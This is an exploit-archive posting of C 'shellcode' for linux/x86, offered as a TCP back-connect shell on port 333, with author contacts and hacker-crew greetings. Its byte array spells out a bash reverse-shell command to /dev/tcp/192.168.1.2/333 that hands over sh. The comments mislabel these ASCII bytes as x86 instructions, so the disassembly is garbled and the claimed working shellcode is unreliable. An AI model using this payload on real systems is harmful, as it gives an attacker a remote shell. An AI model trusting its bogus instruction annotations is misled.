linux/x86 BackShell-TCP bash[/dev/tcp],execve(/bin/sh),port 333 - 62 bytes



EKU-ID: 1522 CVE: OSVDB-ID:
Author: KedAns-Dz Published: 2012-02-23 Verified: Verified
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1  [+] Support e-mail  : submit[at]1337day.com                         1
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/*
###
# Title : linux/x86 BackShell-TCP bash[/dev/tcp],execve(/bin/sh),port 333 - 62 bytes
# Author : KedAns-Dz
# E-mail : ked-h (@hotmail.com / @1337day.com / @exploit-id.com / @dis9.com) kedans@facebook.com
# Home : Hassi.Messaoud (30500) - Algeria -(00213555248701)
# Web Site : www.1337day.com
# Facebook : http://facebook.com/KedAns
# Friendly Sites : www.dis9.com * www.r00tw0rm.com * www.exploit-id.com
# platform : linux/x86
# Type : shellcode - 62 bytes
# Security Risk : Critical
# Tested on : Linux.(Ubuntu 10.10)
###

##
# | >> --------+++=[ Dz Offenders Cr3w ]=+++-------- << |
# | > Indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3   |
# | Jago-dz * Over-X * Kha&miX * Ev!LsCr!pT_Dz * Dr.55h |
# | KinG Of PiraTeS * The g0bl!n * soucha * dr.R!dE  .. |
# | ------------------------------------------------- < |
##
*/

#include <stdio.h>
#include <string.h>

char sc[] =
// bash_exec :
"\x30\x3c\x26"  // xor %esi,%bh
"\x37"          // aaa ;ARG
"\x33\x2d\x3b\x65\x78\x65"  // xor %ebp,dword $0x6578653b
"\x63\x20"      // arpl word %eax,%sp
"\x37"          // aaa ;ARG
"\x33\x3c\x3e"  // xor %edi,dword %esi %edi

// conf_bash (/dev/tcp/192.168.1.2/333)
"\x2f"          // das
"\x64"          // prefix fs
"\x65\x76\x2f"  // jbe short
"\x74\x63"      // je short
"\x70\x2f"      // jo short
"\x31\x39"      // xor dword %ecx,%edi
"\x32\x2e"      // xor %ch,%esi
"\x31\x36"      // xor dword %esi,%esi
"\x38\x2e"      // cmp %esi,%ch
"\x31\x2e"      // xor dword %esi,%ebp
"\x32\x2f"      // xor %ch,%edi
"\x33\x33"      // xor %esi,dword %ebx
"\x33\x3b"      // xor %edi,dword %ebx

// execve(/bin/sh) after back-connect
"\x73\x68"      // jnb short
"\x20\x3c\x26"  // and %esi,%bh
"\x37"          // aaa ;ARG
"\x33\x20"      // xor %esp,dword %eax
"\x3e"          // prefix ds
"\x26\x37"      // aaa
"\x33\x20"      // xor %esp,%eax
"\x32\x3e"      // xor %bh,%esi
"\x26\x37"      // aaa ;ARG
"\x33\x7c\xff\xff" // xor %edi,dword %edi,%edi

int main()
{
    int (*dz)() = (int(*)())sc;
        printf("bytes: %u\n", strlen(sc));
        dz();
}

/*
#================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]=====================================
# Greets To : Dz Offenders Cr3w < Algerians HaCkerS > || Rizky Ariestiyansyah * Islam Caddy ..
# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re * CrosS (www.1337day.com) 
# Inj3ct0r Members 31337 : Indoushka * KnocKout * SeeMe * Kalashinkov3 * ZoRLu * anT!-Tr0J4n * 
# Angel Injection (www.1337day.com/team) * Dz Offenders Cr3w * Algerian Cyber Army * Sec4ever
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * Jago-dz * Over-X
# Kha&miX * Str0ke * JF * Ev!LsCr!pT_Dz * KinG Of PiraTeS * www.packetstormsecurity.org * TrOoN
# www.metasploit.com * UE-Team & I-BackTrack * r00tw0rm.com * All Security and Exploits Webs ..
#================================================================================================*/